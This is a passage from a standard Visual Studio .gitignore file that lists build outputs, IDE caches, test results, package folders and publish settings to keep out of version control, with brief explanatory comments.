 19 | # Build results
 20 | [Dd]ebug/
 21 | [Dd]ebugPublic/
 22 | [Rr]elease/
 23 | [Rr]eleases/
 24 | x64/
 25 | x86/
 26 | [Aa][Rr][Mm]/
 27 | [Aa][Rr][Mm]64/
 28 | bld/
 29 | [Bb]in/
 30 | [Oo]bj/
 31 | [Ll]og/
 32 | [Ll]ogs/
 33 | 
 34 | # Visual Studio 2015/2017 cache/options directory
 35 | .vs/
 36 | # Uncomment if you have tasks that create the project's static files in wwwroot
 37 | #wwwroot/
 38 | 
 39 | # Visual Studio 2017 auto generated files
 40 | Generated\ Files/
 41 | 
 42 | # MSTest test Results
 43 | [Tt]est[Rr]esult*/
 44 | [Bb]uild[Ll]og.*
 45 | 
 46 | # NUnit
 47 | *.VisualState.xml
 48 | TestResult.xml
 49 | nunit-*.xml
 50 | 
 51 | # Build Results of an ATL Project
 52 | [Dd]ebugPS/
 53 | [Rr]eleasePS/
 54 | dlldata.c
 55 | 
 56 | # Benchmark Results
 57 | BenchmarkDotNet.Artifacts/
 58 | 
 59 | # .NET Core
 60 | project.lock.json
 61 | project.fragment.lock.json
 62 | artifacts/
 63 | 
 64 | # StyleCop
 65 | StyleCopReport.xml
 66 | 
 67 | # Files built by Visual Studio
 68 | *_i.c
 69 | *_p.c
 70 | *_h.h
 71 | *.ilk
 72 | *.meta
 73 | *.obj
 74 | *.iobj
 75 | *.pch
 76 | *.pdb
 77 | *.ipdb
 78 | *.pgc
 79 | *.pgd
 80 | *.rsp
 81 | *.sbr
 82 | *.tlb
 83 | *.tli
 84 | *.tlh
 85 | *.tmp
 86 | *.tmp_proj
 87 | *_wpftmp.csproj
 88 | *.log
 89 | *.vspscc
 90 | *.vssscc
 91 | .builds
 92 | *.pidb
 93 | *.svclog
 94 | *.scc
 95 | 
 96 | # Chutzpah Test files
 97 | _Chutzpah*
 98 | 
 99 | # Visual C++ cache files
100 | ipch/
101 | *.aps
102 | *.ncb
103 | *.opendb
104 | *.opensdf
105 | *.sdf
106 | *.cachefile
107 | *.VC.db
108 | *.VC.VC.opendb
109 | 
110 | # Visual Studio profiler
111 | *.psess
112 | *.vsp
113 | *.vspx
114 | *.sap
115 | 
116 | # Visual Studio Trace Files
117 | *.e2e
118 | 
119 | # TFS 2012 Local Workspace
120 | $tf/
121 | 
122 | # Guidance Automation Toolkit
123 | *.gpState
124 | 
125 | # ReSharper is a .NET coding add-in
126 | _ReSharper*/
127 | *.[Rr]e[Ss]harper
128 | *.DotSettings.user
129 | 
130 | # TeamCity is a build add-in
131 | _TeamCity*
132 | 
133 | # DotCover is a Code Coverage Tool
134 | *.dotCover
135 | 
136 | # AxoCover is a Code Coverage Tool
137 | .axoCover/*
138 | !.axoCover/settings.json
139 | 
140 | # Visual Studio code coverage results
141 | *.coverage
142 | *.coveragexml
143 | 
144 | # NCrunch
145 | _NCrunch_*
146 | .*crunch*.local.xml
147 | nCrunchTemp_*
148 | 
149 | # MightyMoose
150 | *.mm.*
151 | AutoTest.Net/
152 | 
153 | # Web workbench (sass)
154 | .sass-cache/
155 | 
156 | # Installshield output folder
157 | [Ee]xpress/
158 | 
159 | # DocProject is a documentation generator add-in
160 | DocProject/buildhelp/
161 | DocProject/Help/*.HxT
162 | DocProject/Help/*.HxC
163 | DocProject/Help/*.hhc
164 | DocProject/Help/*.hhk
165 | DocProject/Help/*.hhp
166 | DocProject/Help/Html2
167 | DocProject/Help/html
168 | 
169 | # Click-Once directory
170 | publish/
171 | 
172 | # Publish Web Output
173 | *.[Pp]ublish.xml
174 | *.azurePubxml
175 | # Note: Comment the next line if you want to checkin your web deploy settings,
176 | # but database connection strings (with potential passwords) will be unencrypted
177 | *.pubxml
178 | *.publishproj
179 | 
180 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
181 | # checkin your Azure Web App publish settings, but sensitive information contained
182 | # in these scripts will be unencrypted
183 | PublishScripts/
184 | 
185 | # NuGet Packages
186 | *.nupkg
187 | # NuGet Symbol Packages
188 | *.snupkg
189 | # The packages folder can be ignored because of Package Restore
190 | **/[Pp]ackages/*
191 | # except build/, which is used as an MSBuild target.
192 | !**/[Pp]ackages/build/
193 | # Uncomment if necessary however generally it will be regenerated when needed
194 | #!**/[Pp]ackages/repositories.config
195 | # NuGet v3's project.json files produces more ignorable files
196 | *.nuget.props
197 | *.nuget.targets
198 | 
199 | # Microsoft Azure Build Output
200 | csx/
201 | *.build.csdef
202 | 
203 | # Microsoft Azure Emulator
204 | ecf/
205 | rcf/
206 | 
207 | # Windows Store app package directories and files
208 | AppPackages/
209 | BundleArtifacts/
210 | Package.StoreAssociation.xml
211 | _pkginfo.txt
212 | *.appx
213 | *.appxbundle
214 | *.appxupload
215 | 
216 | # Visual Studio cache files
217 | # files ending in .cache can be ignored
218 | *.[Cc]ache
219 | # but keep track of directories ending in .cache
220 | !?*.[Cc]ache/
221 | 
222 | # Others
223 | ClientBin/
224 | ~$*
225 | *~
226 | *.dbmdl
227 | *.dbproj.schemaview
228 | *.jfm
229 | *.pfx
230 | *.publishsettings
231 | orleans.codegen.cs
232 | 
233 | # Including strong name files can present a security risk
234 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
235 | #*.snk
236 | 
237 | # Since there are multiple workflows, uncomment next line to ignore bower_components
238 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
239 | #bower_components/
240 | 
241 | # RIA/Silverlight projects
242 | Generated_Code/
243 | 
244 | # Backup & report files from converting an old project file
245 | # to a newer Visual Studio version. Backup files are not needed,
246 | # because we have git ;-)
247 | _UpgradeReport_Files/
248 | Backup*/
249 | UpgradeLog*.XML
250 | UpgradeLog*.htm
251 | ServiceFabricBackup/
252 | *.rptproj.bak
253 | 
254 | # SQL Server files
255 | *.mdf
256 | *.ldf
257 | *.ndf
258 | 
259 | # Business Intelligence projects
260 | *.rdl.data
261 | *.bim.layout
262 | *.bim_*.settings
263 | *.rptproj.rsuser
264 | *- [Bb]ackup.rdl
265 | *- [Bb]ackup ([0-9]).rdl
266 | *- [Bb]ackup ([0-9][0-9]).rdl
267 | 
268 | # Microsoft Fakes
269 | FakesAssemblies/
270 | 
271 | # GhostDoc plugin setting file
272 | *.GhostDoc.xml
273 | 
274 | # Node.js Tools for Visual Studio
275 | .ntvs_analysis.dat
276 | node_modules/
277 | 
278 | # Visual Studio 6 build log
279 | *.plg
280 | 
281 | # Visual Studio 6 workspace options file
282 | *.opt
283 | 
284 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
285 | *.vbw
286 | 
287 | # Visual Studio LightSwitch build output
288 | **/*.HTMLClient/GeneratedArtifacts
289 | **/*.DesktopClient/GeneratedArtifacts
290 | **/*.DesktopClient/ModelManifest.xml
291 | **/*.Server/GeneratedArtifacts
292 | **/*.Server/ModelManifest.xml
293 | _Pvt_Extensions
294 | 
295 | # Paket dependency manager
296 | .paket/paket.exe
297 | paket-files/
298 | 
299 | # FAKE - F# Make
300 | .fake/
301 | 
302 | # CodeRush personal settings
303 | .cr/personal
304 | 
305 | # Python Tools for Visual Studio (PTVS)
306 | __pycache__/
307 | *.pyc
308 | 
309 | # Cake - Uncomment if you are using it
310 | # tools/**
311 | # !tools/packages.config
312 | 
313 | # Tabs Studio
314 | *.tss
315 | 
316 | # Telerik's JustMock configuration file
317 | *.jmconfig
318 | 
319 | # BizTalk build output
320 | *.btp.cs
321 | *.btm.cs
322 | *.odx.cs
323 | *.xsd.cs
324 | 
325 | # OpenCover UI analysis results
326 | OpenCover/
327 | 
328 | # Azure Stream Analytics local run output
329 | ASALocalRun/
330 | 
331 | # MSBuild Binary and Structured Log
332 | *.binlog
333 | 
334 | # NVidia Nsight GPU debugger configuration file
335 | *.nvuser
336 | 
337 | # MFractors (Xamarin productivity tool) working folder
338 | .mfractor/
339 | 
340 | # Local History for Visual Studio
341 | .localhistory/
342 | 
343 | # BeatPulse healthcheck temp database
344 | healthchecksdb
345 | 
346 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
347 | MigrationBackup/
348 | 
349 | # Ionide (cross platform F# VS Code tools) working folder
350 | .ionide/
351 | 


--------------------------------------------------------------------------------